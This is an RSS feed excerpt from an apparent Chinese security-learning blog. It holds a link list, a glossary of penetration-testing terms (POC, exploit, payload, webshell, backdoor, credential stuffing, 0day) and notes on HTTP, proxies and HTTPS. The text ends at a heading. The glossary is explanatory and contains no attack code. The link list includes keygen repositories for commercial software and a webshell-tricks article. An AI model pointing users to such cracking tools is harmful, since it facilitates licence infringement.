&lt;li&gt;http://www.batmessenger.com&lt;/li&gt;
&lt;li&gt;http://sid.co&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head91&quot;&amp;gt; 在线资源&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/DoubleLabyrinth/navicat-keygen navicat 注册机&lt;/li&gt;
&lt;li&gt;https://github.com/DoubleLabyrinth/MobaXterm-keygen MobaXterm 注册机&lt;/li&gt;
&lt;li&gt;http://www.zdfans.com zd423 - 软件分享平台领跑者&lt;/li&gt;
&lt;li&gt;https://www.flaticon.com 免费图标网站&lt;/li&gt;
&lt;li&gt;https://msdn.itellyou.cn 原生镜像&lt;/li&gt;
&lt;li&gt;https://www.freenom.com 注册免费域名，dns 解析&lt;/li&gt;
&lt;li&gt;https://codebeautify.org 在线代码美化&lt;/li&gt;
&lt;li&gt;http://patorjk.com Text to ASCII Art Generator&lt;/li&gt;
&lt;li&gt;https://www.seopojie.com SPAM,SEO&lt;/li&gt;
&lt;li&gt;https://github.com/We5ter/Scanners-Box 增加条目，细化分类&lt;/li&gt;
&lt;li&gt;https://www.anquanke.com/opensource github 搜索引擎&lt;/li&gt;
&lt;li&gt;https://mitre-attack.github.io/ mitre 科技机构对攻击技术的总结 wiki&lt;/li&gt;
&lt;li&gt;https://huntingday.github.io MITRE | ATT&amp;amp;CK 中文站&lt;/li&gt;
&lt;li&gt;https://arxiv.org 康奈尔大学（Cornell University）开放文档&lt;/li&gt;
&lt;li&gt;http://www.owasp.org.cn/owasp-project/owasp-things OWASP 项目&lt;/li&gt;
&lt;li&gt;http://www.irongeek.com/i.php?page=security/hackingillustrated 国内外安全大会相关视频与文档&lt;/li&gt;
&lt;li&gt;https://github.com/knownsec/KCon KCon 大会文章 PPT&lt;/li&gt;
&lt;li&gt;https://github.com/SecWiki/sec-chart 各种相关安全思维导图集合&lt;/li&gt;
&lt;li&gt;https://github.com/knownsec/RD_Checklist 知道创宇技能列表&lt;/li&gt;
&lt;li&gt;https://github.com/ChrisLinn/greyhame-2017 灰袍技能书 2017 版本&lt;/li&gt;
&lt;li&gt;https://github.com/Hack-with-Github/Awesome-Hacking GitHub 万星推荐：黑客成长技术清单&lt;/li&gt;
&lt;li&gt;https://github.com/k4m4/movies-for-hackers 安全相关电影&lt;/li&gt;
&lt;li&gt;https://github.com/jaredthecoder/awesome-vehicle-security 一个用于了解车辆安全和汽车黑客的资源清单&lt;/li&gt;
&lt;li&gt;https://www.jianshu.com/p/852e0fbe2f4c 安全产品厂商分类&lt;/li&gt;
&lt;li&gt;https://www.reddit.com/r/Python/comments/a81mg3/the_entire_mit_intro_computer_science_class_using/ 麻省理工机器学习视频&lt;/li&gt;
&lt;li&gt;https://github.com/fxsjy/jieba py，结巴中文分词&lt;/li&gt;
&lt;li&gt;https://github.com/thunlp/THULAC-Python py，清华中文分词&lt;/li&gt;
&lt;li&gt;https://github.com/lancopku/PKUSeg-python py3，北大中文分词&lt;/li&gt;
&lt;li&gt;https://github.com/fengdu78/Coursera-ML-AndrewNg-Notes 吴恩达机器学习 python 笔记&lt;/li&gt;
&lt;li&gt;https://paperswithcode.com/sota 机器学习具体项目、演示、代码&lt;/li&gt;
&lt;li&gt;https://github.com/duoergun0729/nlp 一本开源的 NLP（神经语言程序学）入门书籍&lt;/li&gt;
&lt;li&gt;https://www.freebuf.com/articles/web/195304.html 一句话木马的套路&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The End&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>渗透测试常见名词解释</title><link>https://wangyi187.top/posts/web-04-pentest-terms/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-04-pentest-terms/</guid><description>0x04 渗透中常见名词解释 一、渗透中POC、EXP、Payload与Shellcode的区别 1、POC、EXP、Payload与Shellcode 2、几点注意 3、Payl</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x04 渗透中常见名词解释&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、渗透中POC、EXP、Payload与Shellcode的区别&lt;/h3&gt;
&lt;h4&gt;1、POC、EXP、Payload与Shellcode&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;POC：全称 &apos; Proof of Concept &apos;，中文 &apos; 概念验证 &apos; ，常指一段漏洞证明的代码。

EXP：全称 &apos; Exploit &apos;，中文 &apos; 利用 &apos;，指利用系统漏洞进行攻击的动作。

Payload：中文 &apos; 有效载荷 &apos;，指成功exploit之后，真正在目标系统执行的代码或指令。

Shellcode：简单翻译 &apos; shell代码 &apos;，是Payload的一种，由于其建立正向/反向shell而得名。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、几点注意&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;POC是用来证明漏洞存在的，EXP是用来利用漏洞的，两者通常不是一类，或者说，PoC通常是无害的，Exp通常是有害的，有了POC，才有EXP。

Payload有很多种，它可以是Shellcode，也可以直接是一段系统命令。同一个Payload可以用于多个漏洞，但每个漏洞都有其自己的EXP，也就是说不存在通用的EXP。

Shellcode也有很多种，包括正向的，反向的，甚至meterpreter。

Shellcode与Shellshcok不是一个，Shellshock特指14年发现的Shellshock漏洞。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、Payload模块&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	在Metasploit Framework 6大模块中有一个Payload模块，在该模块下有Single、Stager、Stages这三种类型，Single是一个all-in-one的Payload，不依赖其他的文件，所以它的体积会比较大，Stager主要用于当目标计算机的内存有限时，可以先传输一个较小的Stager用于建立连接，Stages指利用Stager建立的连接下载后续的Payload。Stager和Stages都有多种类型，适用于不同场景。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、总结&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	想象自己是一个特工，你的目标是监控一个重要的人，有一天你怀疑目标家里的窗子可能没有关，于是你上前推了推，结果推开了，这是一个POC。之后你回去了，开始准备第二天的渗透计划，第二天你通过同样的漏洞渗透进了它家，仔细查看了所有的重要文件，离开时还安装了一个隐蔽的窃听器，这一天你所做的就是一个EXP，你在他家所做的就是不同的Payload，就把窃听器当作Shellcode吧！
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二、webshell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;webshell：是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境，主要用于网站管理、服务器管理、权限管理等操作。使用方法简单，只需上传一个代码文件，通过网址访问，便可进行很多日常操作，极大地方便了使用者对网站和服务器的管理。正因如此，
也有小部分人将代码修改后当作后门程序使用，以达到控制网站服务器的目的。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-04-pentest-terms/b4b6b432ce-1698404976692.png&quot; alt=&quot;1698404976692&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;三、木马病毒&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	指隐藏在正常程序中的一段具有特殊功能的恶意代码，是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。木马病毒其实是计算机黑客用于远程控制计算机的程序，将控制程序寄生于被控制的计算机系统中，里应外合，对被感染木马病毒的计算机实施操作
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、后门&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	本意是指一座建筑背面开设的门，通常比较隐蔽，为进出建筑的人提供方便和隐蔽。在信息安全领域，后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五、挂马&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	就是黑客通过各种手段，包括SQL注入，网站敏感文件扫描，服务器漏洞，网站程序0day,等各种方法获得网站管理员账号，然后登陆网站后台，通过数据库“备份/恢复”或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容，向页面中加入恶意转向代码。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六、僵尸网络&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	Botnet是指采用一种或多种传播手段，将大量主机感染bot程序（僵尸程序）病毒，从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;七、肉鸡&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;也称傀儡机，是指可以被黑客远程控制的机器。比如电脑被黑客攻破或用户电脑有漏洞被种植了木马，黑客可以随意操纵它并利用它做任何事情。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;八、中间件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	是一类提供系统软件和应用软件之间连接、便于软件各部件之间的沟通的软件，应用软件可以借助中间件在不同的技术架构之间共享信息与资源。中间件位于客户机服务器的操作系统之上，管理着计算资源和网络通信。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;九、指纹&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	是Web服务组件在开发时留下的类型、版本等标记信息，包括Web服务器指纹、Web运用指纹及前端框架指纹等。可以通过nmap扫描端口和服务或者通过HTTP头信息来来判断网站使用的哪些开发框架、服务器、系统。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十、端口&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	每种网络的服务功能都不相同，因此有必要将不同的封包送给不同的服务来处理，当你的主机同时开启了FTP与WWW服务时，别人送来的资料封包，就会依照TCP上面的port号码来给FTP这个服务或者是WWW这个服务来处理。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十一、服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;服务指在电脑中，需要各种服务以支持各种功能，也可以手动开启或关闭某些服务以达到管理相应的功能的目的。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十二、代理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	代理服务器（ProxyServer）是一种重要的服务器安全功能，它的工作主要在开放系统互联(OSI)模型的会话层，从而起到防火墙的作用。代理服务器大多被用来连接INTERNET （国际互联网）和INTRANET（局域网）。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十三、编码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;编码是信息从一种形式或格式转换为另一种形式的过程，用预先规定的方法将文字、数字或其它对象编成数码，或将信息、数据转换成规定的电脉冲信号。编码在电子计算机、电视、遥控和通讯等方面广泛使用。解码，是编码的逆过程。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十四、黑页&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;一些计算机被入侵后，入侵者为了证明自己的存在，对网站主页（在服务器开放WEB服务的情况下）进行改写，从而公布入侵者留下的信息，这样的网页通常称为黑页。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-04-pentest-terms/f599c44342-1698405506319.png&quot; alt=&quot;1698405506319&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;十五、撞库&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	是黑客通过收集互联网已泄露的用户和密码信息，生成对应的字典表，尝试批量登陆其他网站后，得到一系列可以登录的用户。很多用户在不同网站使用的是相同的帐号密码，因此黑客可以通过获取用户在A网站的账户从而尝试登录B网址，这就可以理解为撞库攻击。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十六、拖库&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	本来是数据库领域的术语，指从数据库中导出数据。到了黑客攻击泛滥的今天，它被用来指网站遭到入侵后，黑客窃取其数据库文件，拖库的主要防护手段是数据库加密。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十七、洗库&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;即对数据库中的资源进行层层利用，把里面的资源进行全方面的剥夺利用。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十八、暗网&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	是指隐藏的网络，普通网民无法通过常规手段搜索访问，需要使用一些特定的软件、配置或者授权等才能登录。由于“暗网”具有匿名性等特点，容易滋生以网络为勾联工具的各类违法犯罪。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;十九、蜜罐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	技术本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击，从而可以对攻击行为进行捕获和分析，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的安全防护能力。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-04-pentest-terms/7645089d52-1698405592870.png&quot; alt=&quot;1698405592870&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;二十、提权&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;提高自己在服务器中的权限，主要针对网站入侵过程中，当入侵某一网站时，通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二十一、旁站&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;指的是和目标网站在同一台服务器上的其它的网站。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二十二、C段&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;例如192.168.1.4，192是A段，168是B段，1是C段，4是D段
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二十三、0day&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	就是指一些没有公布补丁的漏洞，或者是还没有被漏洞发现者公布出来的漏洞利用工具，由于这种漏洞的利用程序对网络安全都具有巨大威胁，因此0day也成为黑客的最爱。一般的黑客软件带有Oday的名字指的是此漏洞还没有打补丁而软件已经公布。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二十四、1day&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;就是刚公布后的漏洞，或者公布后没有来得及修复的漏洞。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二十五、Nday&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;公布很久，流传很广的漏洞，少数不更新的才能用。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>常见网络协议笔记</title><link>https://wangyi187.top/posts/web-05-network-protocols/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-05-network-protocols/</guid><description>0x05 常见网络协议 一、HTTP协议 1、MIME类型 2、HTTP协议工作流程 1.客户端连接到Web服务器 2.发送HTTP请求 3.服务器接受请求并返回HTTP响应 We</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x05 常见网络协议&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、HTTP协议&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HTTP是HyperTextTransferProtocol（超文本传输协议）的缩写。HTTP协议是用于从WWW服务器传输超文本到本地浏览器的传送协议。

HTTP是一个应用层协议，由请求（request)和响应(response)构成，是一个标准的客户端服务器模型。HTTP是一个无状态的协议。

请求和响应消息的头以ASCII形式给出；而消息内容则具有一个类似MIME的格式。这个简单模型是早期Web成功的有功之臣，因为它使开发和部署非常地直截了当。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/186d2900a5-1698499728920.png&quot; alt=&quot;1698499728920&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;1、MIME类型&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	MIME类型称为多用途互联网邮件扩展，它是一个互联网标准，在1992年最早应用于电子邮件系统，但后来也应用到浏览器。服务器会将它们发送的多媒体数据的类型告诉浏览器，而通知手段就是说明该多媒体数据的MIME类型，从而让浏览器知道接收到的信息哪些是MP3文件，哪些是MP4文件等等。服务器将MIME标志符放入传送的数据中来告诉浏览器使用哪种插件读取相关文件。

常见的几种MIME类型：

image/gif           .gif

image/jpeg          .jpeg、.jpg

text/plain          .txt          

audio/x-mpeg        .mp3  

video/mp4           .mp4
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、HTTP协议工作流程&lt;/h4&gt;
&lt;h5&gt;1.客户端连接到Web服务器&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;一个HTTP客户端，通常是浏览器，与Web服务器的HTTP端口（默认为80）建立一个TCP套接字连接。例如，http://www.baidu.com。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.发送HTTP请求&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;通过TCP套接字，客户端向Web服务器发送一个文本的请求报文，一个请求报文由请求行、请求头部、空行和请求数据4部分组成。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3.服务器接受请求并返回HTTP响应&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	Web服务器解析请求，定位请求资源。服务器将资源复本写到TCP套接字，由客户端读取。一个响应由状态行、响应头部、空行和响应数据4部分组成。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4.释放连接TCP连接&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	若connection模式为close，则服务器主动关闭TCP连接，客户端被动关闭连接，释放TCP连接;若connection模式为keepalive，则该连接会保持一段时间，在该时间内可以继续接收请求;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;5.客户端浏览器解析HTML内容&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	客户端浏览器首先解析状态行，查看表明请求是否成功的状态代码。然后解析每一个响应头，响应头告知以下为若干字节的HTML文档和文档的字符集。客户端浏览器读取响应数据HTML，根据HTML的语法对其进行格式化，并在浏览器窗口中显示。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、Cookie&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;HTTP协议是无状态的

	使用HTTP协议,每当有新的请求发送时,就会有对应的新响应产生。协议本身并不保留之前一切的请求或响应报文的信息。这是为了更快地处理大量事务,确保协议的可伸缩性,而特意把HTTP协议设计成如此简单的。可是,随着Web的不断发展,因无状态而导致业务处理变得棘手的情况增多了。比如,用户登录到一家购物网站,即使他跳转到该站的其他页面后,也需要能继续保持登录状态。针对这个实例,网站为了能够掌握是谁送出的请求,需要保存用户的状态。HTTP/1.1虽然是无状态协议,但为了实现期望的保持状态功能,于是引入了Cookie技术。有了Cookie再用HTTP协议通信,就可以管理状态了。
	
	Cookie在远程浏览器端存储数据并以此跟踪和识别用户的机制。从实现上说，Cookie是存储在客户端上的一小段数据，浏览器（即客户端）通过HTTP协议和服务器端进行Cookie交互。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/1c97fa329d-1698500221729.png&quot; alt=&quot;1698500221729&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/a343780dba-1698500258681.png&quot; alt=&quot;1698500258681&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4、Request请求数据包&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1、请求行：请求类型/请求资源路径、协议的版本和类型

2、请求头：一些键值对，浏览器与web服务器之间都可以发送，特定的某种含义

3、空行：请求头与请求体之间用一个空行隔开；

4、请求体：要发送的数据(一般post提交会使用)；例：user=123&amp;amp;pass=123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/e37415682b-1698500361802.png&quot; alt=&quot;1698500361802&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;5、请求行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;请求行由三个标记组成：请求方法、请求URL和HTTP版本，它们用空格分享。HTTP规划定义了8种可能的请求方法：

GET：检索URL中标识资源的一个简单请求

HEAD：与GET方法相同，服务器只返回状态行和头标，并不返回请求文档POST：服务器接受被写入客户端输出流中的数据的请求PUT：服务器保存请求数据作为指定URL新内容的请求DELETE：服务器删除URL中命令的资源的请求OPTIONS：关于服务器支持的请求方法信息的请求

TRACE：web服务器反馈Http请求和其头标的请求

CONNECT：已文档化，但当前未实现的一个方法，预留做隧道处理
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、GET和POST的区别&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/dda843e9e4-1698500537032.png&quot; alt=&quot;1698500537032&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;从标准上来看，GET和POST的区别如下：

GET用于获取信息，是无副作用的，是幂等的，且可缓存POST用于修改服务器上的数据，有副作用，非幂等，不可缓存

	但GET和POST只是HTTP协议中两种请求方式，而HTTP协议是基于TCP/IP的应用层协议，无论GET还是POST，用的都是同一个传输层协议，所以在传输上，GET和POST方法没有实质区别，只是报文格式不同。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/52298e9ae3-1698500618450.png&quot; alt=&quot;1698500618450&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;7、请求头&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/2df486e270-1698500837861.png&quot; alt=&quot;1698500837861&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/1b0f7e7693-1698500870590.png&quot; alt=&quot;1698500870590&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;8、Response响应数据包&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1、状态行：协议版本、数字形式的状态代码和状态描述，个元素之间以空格分隔

2、响应头：包含服务器类型、日期、长度、内容类型等

3、空行：响应头与响应体之间用空行隔开

4、响应数据：浏览器会将实体内容中的数据取出来，生成相应的页面
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/853696021a-1698500974695.png&quot; alt=&quot;1698500974695&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;9、状态行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;状态行：包括http协议版本、状态码、状态描述三个部分，以空格符分隔，以回车换行符结尾
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/1de495c01a-1698501031654.png&quot; alt=&quot;1698501031654&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一些常见的状态码：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;200 OK  最常见的就是成功响应状态码200了，这表明该请求被成功地完成，所请求的资源发送回客户端

301Found  重定向，打开博客园首页http://cnblogs.com新的URL会在response中的Location中返回

304NotModified  代表上次的文档已经被缓存了，如果你不想使用本地缓存可以用Ctrl+F5强制刷新页面

400BadRequest  客户端请求与语法错误，不能被服务器所理解

403Forbidden  服务器收到请求，但是拒绝提供服务xx.com/admin

404NotFound  请求资源不存在（输错了URL）比如在IE中输入一个错误的URL，http://www.cnblogs.com/tesdf.aspx

500InternalServerError  服务器发生了不可预期的错误

503ServerUnavailable  服务器当前不能处理客户端的请求，一段时间后可能恢复正常
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;10、代理（Proxy）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	代理服务器英文全称是ProxyServer，其功能就是代理网络用户去取得网络信息。形象的说：它是网络信息的中转站。在一般情况下，我们使用网络浏览器直接去连接其他Internet站点取得网络信息时，须送出Request信号来得到回答，然后对方再把信息以bit方式传送回来。代理服务器是介于浏览器和Web服务器之间的一台服务器，有了它之后，浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求，Request信号会先送到代理服务器，由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/b05959f4ae-1698501265808.png&quot; alt=&quot;1698501265808&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代理的作用&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、翻墙[1]

2、匿名访问：HTTP代理服务器通过删除HTTP报文中的身份特性（比如客户端的IP地址，或cookie,或URI的会话ID），从而对远端服务器隐藏原始用户的IP地址以及其他细节。同时HTTP代理服务器上也不会记录原始用户访问记录的log(否则也会被查到)。

3、通过代理上网：比如局域网不能上网，只能通过局域网内的一台代理服务器上网。

4、通过代理缓存，加快上网速度：大部分代理服务器都具有缓存的功能，就好像一个大的cache，它有很大的存储空间，它不断将新取得数据存储到它本地的存储器上，如果浏览器所请求的数据在它本机的存储器上已经存在而且是最新的，那么它就不重新从Web服务器取数据，而直接将存储器上的数据传给用户的浏览器，这样就能显著提高浏览速度。

5、过滤器：很多教育机构，会利用过滤器代理来阻止学生访问成人内容。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;	防火长城[1]（英语：Great Firewall，常用简称：GFW），中文也称中国国家防火墙[2]，通常简称为墙、防火墙[3]等，中国国家互联网信息办公室称为数据跨境安全网关[注 1][4][5]，解放军和武警机关等又称之为国家公共网络监控系统[6]，是中华人民共和国政府监控和过滤国际互联网出口内容的软硬件系统集合[7]，用于通过技术手段，阻断不符合中国政府要求的互联网内容传输。

	随着防火长城逐渐为人熟知，“墙”一词有时也被用作动词，[8][9]，“被墙”即指网站内容被防火长城所屏蔽。“翻墙”、“挂梯子”也被引申为突破网络审查浏览中国大陆境外被屏蔽的网站或使用服务的行为。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/5ba6c3ff14-Topology_of_the_Chinese_firewall.svg.png&quot; alt=&quot;Topology_of_the_Chinese_firewall.svg&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;防火长城工作在旁路，而非网关
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/b0da6a4d13-DNS_hijack_of_the_Great_Firewall.png&quot; alt=&quot;DNS_hijack_of_the_Great_Firewall&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;防火长城向查询zh.wikipedia.org的DNS请求注入伪造回复（使用dig测试）
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;11、BurpSuite&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	BurpSuite是用于攻击web应用程序的集成平台，包含了许多工具。BurpSuite为这些工具设计了许多接口，以加快攻击应用程序的过程。所有工具都共享一个请求，并能处理对应的HTTP消息、持久性、认证、代理、日志、警报。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/1b4ef61764-1698501521092.png&quot; alt=&quot;1698501521092&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;12、HTTP的缺点&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	HTTP虽然使用极为广泛,但是却存在不小的安全缺陷,主要是其数据的明文传送和消息完整性检测的缺乏,而这两点恰好是网络支付,网络交易等新兴应用中安全方面最需要关注的。
	
	关于HTTP的明文数据传输,攻击者最常用的攻击手法就是网络嗅探,试图从传输过程当中分析出敏感的数据,例如管理员对Web程序后台的登录过程等等,从而获取网站管理权限,进而渗透到整个服务器的权限。即使无法获取到后台登录信息,攻击者也可以从网络中获取普通用户的隐秘信息,包括手机号码,身份证号码,信用卡号等重要资料,导致严重的安全事故。进行网络嗅探攻击非常简单,对攻击者的要求很低。使用网络发布的任意一款抓包工具,一个新手就有可能获取到大型网站的用户信息。
	
	另外,HTTP在传输客户端请求和服务端响应时,唯一的数据完整性检验就是在报文头部包含了本次传输数据的长度,而对内容是否被篡改不作确认。因此攻击者可以轻易的发动中间人攻击,修改客户端和服务端传输的数据,甚至在传输数据中插入恶意代码,导致客户端被引导至恶意网站被植入木马。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二、HTTPS协议&lt;/h3&gt;
&lt;h4&gt;1、思考引入1&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/6621f97cbe-1698505181436.png&quot; alt=&quot;1698505181436&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2、HTTPS&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	HTTPS（全称：HyperTextTransferProtocoloverSecureSocketLayer），是以安全为目标的HTTP通道，在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性。
	
	HTTPS在HTTP的基础下加入SSL，HTTPS的安全基础是SSL，因此加密的详细内容就需要SSL。HTTPS存在不同于HTTP的默认端口及一个加密/身份验证层（在HTTP与TCP之间）。这个系统提供了身份验证与加密通讯方法。它被广泛用于万维网上安全敏感的通讯，
例如交易支付等方面。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/0dd6fa8097-1698505287826.png&quot; alt=&quot;1698505287826&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;3、工作原理&lt;/h4&gt;
